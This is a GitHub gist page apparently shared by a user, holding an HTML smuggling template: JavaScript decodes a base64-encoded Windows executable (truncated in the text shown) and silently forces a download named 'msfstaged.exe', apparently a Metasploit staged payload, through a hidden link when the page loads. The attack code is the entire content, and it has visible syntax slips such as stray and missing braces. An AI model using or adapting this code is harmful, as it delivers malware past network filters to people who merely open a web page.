Skip to content

Instantly share code, notes, and snippets.

@justaguywhocodes
Created March 21, 2025 15:36
Show Gist options
  • Save justaguywhocodes/526849ab9f1e446a1d65de319df2f3e6 to your computer and use it in GitHub Desktop.
Save justaguywhocodes/526849ab9f1e446a1d65de319df2f3e6 to your computer and use it in GitHub Desktop.
<html>
<body>
}
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
return bytes.buffer;
}
var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA... var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'}); var fileName = 'msfstaged.exe';
var a = document.createElement('a'); document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob); a.href = url;
a.download = fileName; a.click(); window.URL.revokeObjectURL(url);
</script>
</
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment